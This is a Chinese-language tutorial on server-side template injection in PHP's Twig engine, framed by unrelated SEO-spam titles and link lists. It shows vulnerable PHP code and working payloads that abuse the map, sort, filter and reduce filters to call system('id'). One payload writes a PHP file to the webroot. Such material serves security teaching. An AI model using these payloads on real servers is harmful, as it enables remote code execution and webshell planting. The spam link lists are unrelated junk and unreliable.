当前位置: 首页 > wzjs >正文

那里可以做工作室做网站网页设计需要学什么学历

那里可以做工作室做网站,网页设计需要学什么学历,搜素引擎排名优化,wordpress rewrite模板注入(Twig) 1.模板引擎: 为了使用户界面与业务数据(内容)分离而产生的,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,再放到渲染函数里,生成模板用户数据的前端html页…

模板注入(Twig)

1.模板引擎:

为了使用户界面与业务数据(内容)分离而产生的,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,再放到渲染函数里,生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。

2.SSTI漏洞

漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

PHP中的SSTI注入(php常见的模板:twig,smarty,blade)

Twig

<?php   

require_once dirname(__FILE__).'\twig\lib\Twig\Autoloader.php';   Twig_Autoloader::register(true);   

$twig = new Twig_Environment(new Twig_Loader_String());   

$output = $twig->render("Hello {{name}}", array("name" => $_GET["name"])); // 将用户输入作为模版变量的值   

echo $output; ?>

先看上端代码,现在name是一个get传参导入变量,然后将这个变量进行模板渲染,模板渲染的同时模板引擎会默认将该变量进行编码转义,再放入模板中,所以并不会造成跨站脚本攻击

<?php                                                                                                                                require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php';   Twig_Autoloader::register(true);                              $twig=newTwig_Environment(newTwig_Loader_String());                                            $output=$twig->render("Hello {$_GET['name']}");// 将用户输入作为模版内容的一部分       echo$output;                                                                                                                                      ?>

但是这个代码不同,拼接了用户输入作为模板的内容,现在如果再向服务端直接传递 JavaScript 代码,用户输入会原样输出,如果服务端将用户的输入作为了模板的一部分,那么在页面渲染时也必定会将用户输入的内容进行模版编译和解析最后输出。

尝试构造payload

bmjoker{# comment #}{{2*8}}OK

{# comment #}  是Twig 模板引擎的默认注释形式,在前端输出的时候不显示,而{{2*8}} 是模板变量最终会返回16 作为其值进行显示,因此前端最终会返回内容 Hello bmjoker16OK 

上图是SSTI 扫描检测的大致流程

就是更改请求参数使之承载含有模板引擎语法的 Payload,通过页面渲染返回的内容检测承载的 Payload 是否有得到编译解析,有解析则可以判定含有 Payload 对应模板引擎注入,否则不存在 SSTI。

提供一个针对twig的攻击载荷:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

上面的载荷为2.x版本,下面是新增了 filter 和 map 等的内容补充的3.x版本的

还有其他

  • {{["id"]|map("system")|join(",")
  • {{["id", 0]|sort("system")|join(",")}}
  • {{["id"]|filter("system")|join(",")}}
  • {{[0, 0]|reduce("system", "id")|join(",")}}
  • {{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}(将 PHP 代码 <?php phpinfo(); 写入文件 /var/www/html/shell.php如果成功,访问 /var/www/html/shell.php 时会显示 PHP 信息页面。)

map("system")对数组中的每个元素调用 system 函数

join(",")将结果用逗号连接成一个字符串。

sort("system"):对数组进行排序,但这里传递了 "system" 作为排序函数,实际上会调用 system 函数。

filter("system"):对数组中的每个元素调用 system 函数。filter 函数通常用于过滤数组,但这里被滥用为执行系统命令。

reduce("system", "id"):对数组进行归约操作,但这里传递了 "system" 作为回调函数,"id" 作为初始值。实际上会调用 system 函数。

这里解释一下reduce的归约操作:

在 Twig 模板引擎中,reduce 是一个过滤器(filter),用于对数组或集合进行归约操作。

reduce 过滤器的作用是对数组或集合中的元素进行归约操作,最终返回一个单一的值。它的语法如下:

{{ array|reduce(callback, initial) }}
  • array:要归约的数组或集合。

  • callback:回调函数,用于处理每个元素。

  • initial:初始值(可选)。


2. reduce("system", "id") 的解释

reduce("system", "id") 的用法如下:

 
{{ [0, 0]|reduce("system", "id")|join(",") }}

参数分解:

  • [0, 0]:要归约的数组,包含两个元素 00

  • "system":回调函数。这里传递的是字符串 "system",Twig 会尝试将其解析为一个可调用的函数。

  • "id":初始值。这里传递的是字符串 "id"

执行过程:

  1. 初始值:

    • reduce 的初始值是 "id"

  2. 第一次调用回调函数:

    • previousValue:初始值 "id"

    • currentValue:数组的第一个元素 0

    • 调用 system("id", 0),即执行系统命令 id

  3. 第二次调用回调函数:

    • previousValue:上一次回调函数的返回值(可能是 id 命令的输出)。

    • currentValue:数组的第二个元素 0

    • 调用 system(previousValue, 0),即再次执行系统命令。

结果:

  • system 是 PHP 的一个函数,用于执行系统命令。

  • 因此,reduce("system", "id") 实际上会执行系统命令 id,并将其输出作为结果。

具体payload分析详见:《TWIG 全版本通用 SSTI payloads》

            《SSTI-服务器端模板注入》

http://www.dtcms.com/wzjs/545959.html

相关文章:

  • 龙华做棋牌网站建设哪家好成立公司法人有什么风险
  • 网站开发的技术支持外星人建设的网站
  • 双城网站建设哪家好园林景观设计公司年度运营方案
  • 怎么做家教网站开封做网站
  • 网站的收录情况怎么查做网站电话销售的话术
  • 端午节网站制作开平网站建设
  • 35互联做的网站后台怎样登录莆田做网站
  • 正邦品牌设计公司简介免费seo推广软件
  • flash个人网站设计广告优化是做什么的
  • 苏州知名网站建设设计公司wordpress 后台修改
  • 自搭建网站品牌建设存在问题
  • 前端学校网站开发视频江门建站公司
  • 东莞高端网站设计h5与wordpress
  • 网站后台栏目微信开发者工具怎么使用
  • 莱芜吧贴吧高明公司搜索seo
  • 备案号怎么放置到网站太原招聘网站开发
  • jsp做网站图片怎么存储前端工作一年工资多少正常
  • 家用电脑可以做网站服务器推广平台有哪些平台
  • 网站助手 伪静态物流百度推广怎么做网站
  • 兰州做网站开发wordpress归档页面
  • 做土特产的网站国家反诈中心app下载注册
  • 网站提交搜索引擎后出现问题免费网络游戏大全
  • 重庆哪里可以做网站的浏览不良网站会被网警抓吗
  • 烟台市住房和城乡建设局网站中核二三建设有限公司
  • 桓台县建设局网站下载应用的app
  • 安防网站建设优点贵州省建设厅官方网站
  • 北京网站备案域名贵阳门户网站建设
  • 在菲律宾做网络网站犯法吗网站建设最便宜多少钱
  • 嘉兴网站制作哪里好服务器上建设网站
  • 这个网站做海外推广网页设计与制作项目